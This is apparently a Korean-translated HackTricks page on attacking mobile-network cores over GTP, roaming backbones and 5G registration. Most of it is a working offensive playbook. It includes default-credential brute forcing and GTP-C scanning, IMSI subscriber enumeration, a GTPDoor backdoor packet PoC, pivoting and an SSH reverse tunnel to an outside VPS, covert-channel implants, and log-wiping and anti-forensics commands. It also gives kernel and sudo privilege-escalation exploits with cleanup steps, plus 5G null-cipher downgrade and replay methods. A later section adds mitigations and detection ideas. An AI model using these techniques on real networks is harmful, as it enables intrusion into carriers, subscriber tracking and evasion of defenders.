텔레콤 네트워크 악용 (GTP / Roaming Environments)
Reading time: 9 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
note
Mobile-core protocols (GPRS Tunnelling Protocol – GTP) 종종 반신뢰된 GRX/IPX roaming 백본을 통과합니다. 평문 UDP로 전송되고 거의 인증이 없기 때문에, any foothold inside a telecom perimeter can usually reach core signalling planes directly. 다음 노트는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 현장에서 관찰된 offensive tricks를 모아둔 것입니다.
1. Recon & Initial Access
1.1 Default OSS / NE Accounts
놀랍게도 많은 벤더 네트워크 엘리먼트가 root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … 같은 하드코드된 SSH/Telnet 사용자 계정과 함께 출하됩니다. 전용 wordlist는 brute-force 성공률을 극적으로 높입니다:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
장치가 management VRF만 노출하고 있다면, 먼저 jump host를 통해 pivot하세요(아래 «SGSN Emu Tunnel» 섹션 참조).
1.2 Host Discovery inside GRX/IPX
대부분의 GRX 사업자는 백본 전반에 걸쳐 ICMP echo를 여전히 허용합니다. masscan
의 내장 gtpv1
UDP 프로브를 결합하여 GTP-C 리스너를 빠르게 매핑하세요:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. 가입자 열거 – cordscan
다음 Go 도구는 GTP-C Create PDP Context Request 패킷을 생성하고 응답을 기록합니다. 각 응답은 조회된 IMSI에 서비스를 제공하는 현재 SGSN / MME와 때로는 가입자가 방문한 PLMN을 알려줍니다.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
주요 플래그:
--imsi
대상 가입자 IMSI--oper
Home / HNI (MCC+MNC)-w
raw 패킷을 pcap으로 기록
바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있습니다:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Code Execution over GTP – GTPDoor
GTPDoor
는 작은 ELF 서비스로, UDP 2123에 바인드하고 들어오는 모든 GTP-C 패킷을 파싱합니다. 페이로드가 pre-shared tag로 시작하면, 나머지는 AES-128-CBC로 복호화되어 /bin/sh -c
를 통해 실행됩니다. stdout/stderr는 Echo Response 메시지 내부로 exfiltrated되어 외부 세션이 전혀 생성되지 않습니다.
최소 PoC 패킷 (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
탐지:
- SGSN IPs로 unbalanced Echo Requests를 보내는 모든 호스트
- GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)일 때 — 규격과의 편차
4. 코어를 통한 Pivoting
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
는 실제 GGSN/PGW를 향해 PDP context를 설정할 수 있는 SGSN 에뮬레이터를 제공합니다. 협상되면, Linux는 로밍 피어에서 접근 가능한 새로운 tun0
인터페이스를 받습니다.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
적절한 firewall hair-pinning으로 이 터널은 signalling-only VLANs를 우회하여 직접 data plane에 접근합니다.
4.2 SSH Reverse Tunnel over Port 53
DNS는 roaming infrastructures에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 listening on :53으로 노출시키고 집에서 나중에 접속하세요:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
VPS에서 GatewayPorts yes
가 활성화되어 있는지 확인하세요.
5. 은밀 채널
채널 | 전송 | 디코딩 | 비고 |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 순수한 수동 리스너, 아웃바운드 트래픽 없음 |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy ) encoded in A-record octets | *.nodep 서브도메인 감시 |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | 합법적인 GTP-C 트래픽과 섞여 작동 |
모든 implants는 watchdogs를 구현하며, 충돌 시 그들의 binaries를 timestomp하고 re-spawn합니다.
6. 방어 회피 치트시트
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. 구형 NE에서의 Privilege Escalation
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
정리 팁:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. 도구 모음
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– 이전 섹션에서 설명한 custom tooling.FScan
: intranet TCP 스윕 (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: 경량 SOCKS5 pivotingFRP
(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration 공격: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G 등록 절차는 NGAP 위의 NAS(Non-Access Stratum)에서 실행된다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 보안 비활성 창(window)은 N2 트래픽을 관찰하거나 변조할 수 있는 경우(예: 코어 내부 온-패스, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다.
Registration 흐름(단순화):
- Registration Request: UE가 SUCI(SUPI 암호화)를 전송하고 capabilities를 보낸다.
- Authentication: AMF/AUSF가 RAND/AUTN을 보내고; UE는 RES*를 반환한다.
- Security Mode Command/Complete: NAS 무결성 및 암호화가 협상되어 활성화된다.
- PDU Session Establishment: IP/QoS 설정.
Lab 설정 팁 (non-RF):
- Core: Open5GS 기본 배포로 흐름을 재현하기에 충분하다.
- UE: simulator 또는 테스트 UE; Wireshark로 디코드.
- Active tooling: 5GReplay (NAS를 NGAP 내에서 캡처/수정/재전송), Sni5Gect (완전한 rogue gNB를 띄우지 않고 NAS를 실시간으로 스니핑/패치/인젝션).
- Wireshark에서 유용한 display filter:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
예상 동작: UE/USIM은 SUCI(홈 네트워크 공개키로 암호화된 SUPI)만 전송해야 한다. Registration Request에서 평문 SUPI/IMSI가 발견되면 지속적인 가입자 추적을 가능하게 하는 개인정보 보호 결함을 의미한다.
테스트 방법:
- InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사한다.
- Wireshark 빠른 점검:
- SUCI로 디코드되어야 하며, IMSI로 디코드되어서는 안 된다.
- 필터 예:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
가 있어야 한다; 없고 대신imsi
가 존재하면 노출(leak)이다.
수집할 항목:
- 노출된 경우 MCC/MNC/MSIN; UE별로 기록하고 시간/위치 별로 추적한다.
완화책:
- SUCI 전용 UE/USIM 강제; 초기 NAS에서 IMSI/SUPI가 감지되면 경보.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
배경:
- UE는 Registration Request의 UE Security Capability IE에서 지원하는 EEA(암호화) 및 EIA(무결성)를 광고한다.
- 일반 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0는 null 알고리즘이다.
문제:
- Registration Request는 무결성 보호되지 않기 때문에, 온-패스 공격자가 capability 비트를 지워 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 응급 서비스 외부에서 null 알고리즘을 잘못 허용한다.
공격 단계:
- InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정한다.
- Sni5Gect로 NAS 메시지를 훅(hook)하고 전달 전에 capability 비트를 패치한다.
- AMF가 null 암호/무결성을 수락하여 Security Mode를 EEA0/EIA0로 완료하는지 관찰한다.
검증/가시성:
- Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인한다.
- 예시 수동 스니퍼 출력:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigations (must):
- AMF/policy를 구성하여 엄격히 요구되는 경우(예: emergency calls)를 제외하고 EEA0/EIA0를 거부하도록 설정한다.
- 최소한 EEA2/EIA2 적용을 권장한다; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로깅 및 경보를 설정한다.
9.3 Replay of initial Registration Request (pre-security NAS)
초기 NAS는 무결성과 신선도가 부족하기 때문에 캡처된 InitialUEMessage+Registration Request를 AMF로 재전송(replay)할 수 있다.
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
관찰할 사항:
- AMF가 replay를 수용하고 Authentication으로 진행하는지; freshness/context 검증의 부재는 노출을 의미함.
완화 대책:
- AMF에서 replay protection/context binding을 적용; GNB/UE별로 rate-limit 및 상관관계 적용.
9.4 도구 포인터 (재현 가능)
- Open5GS: AMF/SMF/UPF를 띄워 core를 에뮬레이트; N2 (NGAP) 및 NAS 관찰.
- Wireshark: NGAP/NAS 디코드 확인; 위의 필터를 적용해 Registration을 분리.
- 5GReplay: registration을 캡처한 뒤 규칙대로 특정 NGAP + NAS 메시지를 replay.
- Sni5Gect: NAS control-plane을 실시간 sniff/modify/inject하여 null algorithms를 강제하거나 authentication 시퀀스를 교란.
9.5 방어 체크리스트
- Registration Request를 지속적으로 검사하여 평문 SUPI/IMSI 존재 여부 확인; 문제 장치/USIM 차단.
- EEA0/EIA0는 좁게 정의된 비상 절차를 제외하고 거부; 최소 EEA2/EIA2 요구.
- 무단 또는 잘못 구성된 인프라 탐지: unauthorized gNB/AMF, 예기치 않은 N2 피어.
- null algorithms을 유발하거나 InitialUEMessage의 빈번한 replay를 초래하는 NAS security modes에 대해 경보.
탐지 아이디어
- Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
- Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
- Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
- High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
- 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
- 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.